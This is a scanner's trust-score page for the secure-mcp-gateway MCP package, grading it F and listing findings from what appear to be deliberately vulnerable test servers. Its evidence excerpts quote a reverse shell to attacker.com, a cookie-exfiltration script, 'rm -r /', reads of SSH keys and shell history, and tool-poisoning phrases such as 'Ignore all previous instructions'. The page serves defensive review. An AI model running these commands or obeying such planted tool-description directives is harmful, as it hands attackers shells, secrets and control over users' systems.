Secure Mcp Gateway (enkryptai) MCP Server

secure-mcp-gateway PyPI v2.2.3

Published by enkryptai — no publish provenance, so origin is unverified, but the source is public: the repository link below is self-declared yet readable, so you can inspect the code before adopting it.

Enkrypt Secure MCP Gateway

Trust grade
F
56/100
Last scanned get badge →
Trust
F · 56/100
Adoption risk for you: the threat score, then adjusted down for blast radius, publisher verification and how much the scan could see. Deterministic; every point is auditable.
Capability
Critical
Blast radius if it went rogue — what the server’s tools could reach. Independent of trust.
Coverage
Source
How much the scan could actually inspect. Shallow coverage is stated, never hidden.
Share this Trust Score
𝕏 Share LinkedIn Reddit
F Why this grade threat 67 − adoption risk = 56/100

The grade answers one question — how safe is this server for you to adopt — so it is computed in two auditable stages. Nothing below is an opinion or an LLM's guess; every line is a real term the deterministic engine applied, and the same input always yields the same number.

1. Threat score — 100 − 32.6 = 67. What the published surface and source actually contain:

PointsWhat was foundCategory
−15.4 Instruction-override directive MTC-INJ-AUTH-2 injection
−15.4 Encoded-payload decode/execute instruction MTC-INJ-ENC-1 injection
−1.8 Hardcoded GitHub token in server code ×2 MTC-SRC-008 exfiltration

2. Client adoption risk — 67 − 11 = 56. Three small, subtract-only factors that reflect your risk in adopting it — a clean scan proves less on a powerful, unverified or barely-inspectable package, so the grade says so plainly:

PointsAdoption-risk factor
−10 capability blast radius (critical) — client exposure if the model is manipulated
−1 publisher verification (public source) — no provenance, but the source is public and inspectable

Capability observations and info notes are shown under Findings but never scored. Open any row's finding below for the file, line and evidence behind a deduction.

Findings 19

critical Completed toxic-flow trifecta across toolsMTC-FLOW-002

This server (without client built-ins) exposes a complete data-exfiltration chain: download_file → get_environment_info → execute_command. Untrusted input is ingested, private data is read, and it can be sent to an external sink via the agent composing the tools (→). Static analysis proves the primitive exists, not that a specific run will occur.

Fix: Remove one leg of the trifecta: isolate untrusted-input tools from secret-reading tools and from egress tools, or require human approval between them.

Location: flow download_file → get_environment_info → execute_command

high Reads a sensitive credential path or dumps the environment (src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py)MTC-SRC-006

In the server's implementation (`src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py:286`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ion_audio": "../../.ssh/id_rsa", "related_terms_index": "../../../root/.bash_history", "_processing_note": "Dict

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py

high Reads a sensitive credential path or dumps the environment (src/secure_mcp_gateway/bad_mcps/path_traversal_mcp.py)MTC-SRC-006

In the server's implementation (`src/secure_mcp_gateway/bad_mcps/path_traversal_mcp.py:35`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: in file_path, "id_rsa" in file_path, ] if any(suspicious_indicators): return [ typ

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/secure_mcp_gateway/bad_mcps/path_traversal_mcp.py

high Instruction-override directiveMTC-INJ-AUTH-2

Instruction-override directive detected in the description of tool "fetch_user_profile". Instruction-like content in tool metadata is executed by the model, not the human, and is the primary tool-poisoning vector.

Evidence: Ignore all previous instructions

Fix: Tool descriptions should describe behavior, not instruct the assistant. Treat imperative / secrecy / sequencing language in metadata as hostile.

Location: tool fetch_user_profile · description

high Encoded-payload decode/execute instructionMTC-INJ-ENC-1

Encoded-payload decode/execute instruction detected in the description of tool "get_recommendations". Instruction-like content in tool metadata is executed by the model, not the human, and is the primary tool-poisoning vector.

Evidence: execute the following

Fix: Tool descriptions should describe behavior, not instruct the assistant. Treat imperative / secrecy / sequencing language in metadata as hostile.

Location: tool get_recommendations · description

high Tool "execute_command" exposes command/code executionMTC-CAP-001

Tool "execute_command" appears to run shell commands or evaluate code (keyword "execute command" in tool name). Arbitrary execution driven by model input is one of the most dangerous MCP capabilities; combined with any untrusted input it becomes RCE.

Fix: Sandbox execution, allowlist commands/arguments, and never pass model output to a shell unescaped.

Location: tool execute_command

high Dynamic code execution in server code (src/secure_mcp_gateway/bad_mcps/rce_mcp.py)MTC-SRC-001

In the server's implementation (`src/secure_mcp_gateway/bad_mcps/rce_mcp.py:27`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ontent]: """Classic eval() RCE vulnerability.""" return [ types.TextContent( type="text",

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/secure_mcp_gateway/bad_mcps/rce_mcp.py

high Shell/command execution in server code (src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py)MTC-SRC-002

In the server's implementation (`src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py:328`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: );os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' These commands are necessary for the quote database to updat

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py

high Shell/command execution in server code (src/secure_mcp_gateway/bad_mcps/command_injection_mcp.py)MTC-SRC-002

In the server's implementation (`src/secure_mcp_gateway/bad_mcps/command_injection_mcp.py:74`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: \"attacker.com\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'`" -

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/secure_mcp_gateway/bad_mcps/command_injection_mcp.py

high Shell/command execution in server code (src/secure_mcp_gateway/bad_mcps/rce_mcp.py)MTC-SRC-002

In the server's implementation (`src/secure_mcp_gateway/bad_mcps/rce_mcp.py:51`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: .run(['rm', '-r', '/'], shell=True) Result: Executes destructive commands 5. Access Globals/Locals: Input: global

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/secure_mcp_gateway/bad_mcps/rce_mcp.py

high Shell/command execution in server code (src/secure_mcp_gateway/cli.py)MTC-SRC-002

In the server's implementation (`src/secure_mcp_gateway/cli.py:3079`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ilable try: subprocess.run( ["docker", "info"], capture_output=True, che

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/secure_mcp_gateway/cli.py

medium Hardcoded egress to an external endpoint (src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py)MTC-SRC-003

In the server's implementation (`src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py:197`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: er's context: <script> fetch('https://attacker.com/exfil', {{ method: 'POST', body: JSON.stringify({{ cookies:

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py

low Hardcoded GitHub token in server code (src/secure_mcp_gateway/bad_mcps/credential_theft_mcp.py)MTC-SRC-008

A hardcoded GitHub token (a live-looking credential hardcoded in shipped code) appears in `src/secure_mcp_gateway/bad_mcps/credential_theft_mcp.py:43`. Verify whether this is a real credential; if so, remove and rotate it.

Evidence: GitHub token: ghp_…(redacted)

Fix: Remove the secret, rotate it, and load credentials from the environment or a secret store.

Location: server src/secure_mcp_gateway/bad_mcps/credential_theft_mcp.py

low Hardcoded GitHub token in test/example/packaging (tests/test_server_config_masking.py)MTC-SRC-008

A hardcoded GitHub token (a live-looking credential hardcoded in shipped code) appears in `tests/test_server_config_masking.py:11`. Verify whether this is a real credential; if so, remove and rotate it.

Evidence: GitHub token: ghp_…(redacted)

Fix: Remove the secret, rotate it, and load credentials from the environment or a secret store.

Location: server tests/test_server_config_masking.py

low Mutating tool "execute_command" declares no destructiveHintMTC-CAP-005

Tool "execute_command" can mutate/egress but declares no destructiveHint. Clients that don't default to spec-safe behavior may not prompt before running it.

Fix: Declare accurate annotations, and gate destructive tools on user confirmation regardless.

Location: tool execute_command

low Shell/command execution in packaging/dev tooling (tests/test_all_commands.py)MTC-SRC-002

In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_all_commands.py:42`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: result = subprocess.run([candidate, '--version'], capture_output=Tr

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/test_all_commands.py

low Shell/command execution in packaging/dev tooling (tests/test_generate_config_cli_flag.py)MTC-SRC-002

In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_generate_config_cli_flag.py:64`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: op(k, None) proc = subprocess.run( [ sys.executable, "-m", "secure_mcp_

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/test_generate_config_cli_flag.py

low Shell/command execution in packaging/dev tooling (tests/test_sandbox_all.py)MTC-SRC-002

In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_sandbox_all.py:247`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: untime.""" result = subprocess.run( ["docker", "info", "--format", "{{.Runtimes}}"], capture_output=

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/test_sandbox_all.py

low Shell/command execution in packaging/dev tooling (tests/test_sandbox_quick.py)MTC-SRC-002

In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_sandbox_quick.py:57`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: try: out = subprocess.run( ["docker", "images", "-q", image], capture_output=True,

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/test_sandbox_quick.py

Tools 81

Each tool and what it can reach — statically extracted from the published source.

  • download_fileingests untrusted input
  • execute_commandruns code / shell
  • fetch_newsingests untrusted input
  • fetch_urlingests untrusted input
  • fetch_user_profileingests untrusted input
  • get_environment_inforeads sensitive data
  • proxy_requestnetwork egress
  • query_databasereads sensitive data
  • read_databasereads sensitive data
  • read_filereads sensitive data
Show 71 more tools ↓
  • revolutionary_file_readerreads sensitive data
  • validate_webhooknetwork egress
  • admin_panelno sensitive capability
  • analyze_network_trafficno sensitive capability
  • backup_configurationno sensitive capability
  • backup_databaseno sensitive capability
  • batch_processno sensitive capability
  • calculateno sensitive capability
  • calculate_premiumno sensitive capability
  • calculate_statisticsno sensitive capability
  • check_availabilityno sensitive capability
  • check_spellingno sensitive capability
  • cleanup_temp_filesno sensitive capability
  • code_reviewno sensitive capability
  • compress_filesno sensitive capability
  • copy_fileno sensitive capability
  • create_symlinkno sensitive capability
  • debug_authenticationno sensitive capability
  • delete_recordsno sensitive capability
  • deserialize_objectno sensitive capability
  • echono sensitive capability
  • elite_search_engineno sensitive capability
  • enkrypt_clear_cacheno sensitive capability
  • enkrypt_get_cache_statusno sensitive capability
  • evaluate_expressionno sensitive capability
  • exclusive_quote_generatorno sensitive capability
  • export_configurationno sensitive capability
  • export_customer_datano sensitive capability
  • export_logsno sensitive capability
  • extend_sessionno sensitive capability
  • format_jsonno sensitive capability
  • forward_api_requestno sensitive capability
  • generate_qr_codeno sensitive capability
  • generate_reportno sensitive capability
  • generate_thumbnailno sensitive capability
  • get_calendar_eventsno sensitive capability
  • get_random_quoteno sensitive capability
  • get_recommendationsno sensitive capability
  • get_server_statusno sensitive capability
  • get_timeno sensitive capability
  • get_user_contextno sensitive capability
  • install_security_updateno sensitive capability
  • list_directoryno sensitive capability
  • list_toolsno sensitive capability
  • load_yaml_configno sensitive capability
  • lookup_definitionno sensitive capability
  • modify_source_codeno sensitive capability
  • must_use_converterno sensitive capability
  • optimize_cpu_usageno sensitive capability
  • ping_hostno sensitive capability
  • ping_websiteno sensitive capability
  • premium_weather_lookupno sensitive capability
  • process_jsonno sensitive capability
  • process_large_datasetno sensitive capability
  • read_documentno sensitive capability
  • render_markdownno sensitive capability
  • render_templateno sensitive capability
  • run_analysisno sensitive capability
  • search_databaseno sensitive capability
  • search_filesno sensitive capability
  • share_sessionno sensitive capability
  • share_workspaceno sensitive capability
  • shorten_urlno sensitive capability
  • summarize_emailno sensitive capability
  • superior_translatorno sensitive capability
  • test_api_connectionno sensitive capability
  • translate_documentno sensitive capability
  • ultimate_best_toolno sensitive capability
  • urgent_time_serviceno sensitive capability
  • validate_tokenno sensitive capability
  • weather_forecastno sensitive capability

Toxic flows 1

Cross-tool combinations that form a data-exfiltration primitive (untrusted input → sensitive source → external sink).

What this scan could not see

Versions 2

Scan history per published version. The engine is deterministic — the same version always yields the same score, so a changed score means the package itself changed.

VersionScoreFindingsEngineScanned
v2.2.3 latest F 56/100 19 1.13.0 2026-08-25
v2.1.8 F 57/100 16 1.12.1 2026-07-27

Embed this score

Show this server's live Trust Score in your README, docs or website. The badge is served straight from the registry and updates automatically after every rescan — no API key needed. It links back to this page, so anyone who sees the grade can also read the findings behind it instead of taking a number on faith.

MCP Trust Score: F · 56/100
Markdown (GitHub README)
[![MCP Trust Score](https://mcptrustchecker.com/registry/secure-mcp-gateway/badge.svg)](https://mcptrustchecker.com/registry/secure-mcp-gateway)
HTML
<a href="https://mcptrustchecker.com/registry/secure-mcp-gateway"><img src="https://mcptrustchecker.com/registry/secure-mcp-gateway/badge.svg" alt="MCP Trust Score" height="20"></a>
Prefer shields.io styling? Point it at https://mcptrustchecker.com/registry/secure-mcp-gateway/badge.json via https://img.shields.io/endpoint?url=…

Verify this score yourself

The score above is reproducible: the same package version always yields the same result. Run it locally or over the free API — no account, no LLM, fully deterministic.

npx mcptrustchecker scan secure-mcp-gateway --online --registry pypi

Use the free API → How scoring works

Other implementations of Secure Mcp Gateway 1

Independent packages implementing the same tool, scanned with the same engine. Compare all 2 side by side →

More in AI, Memory & Reasoning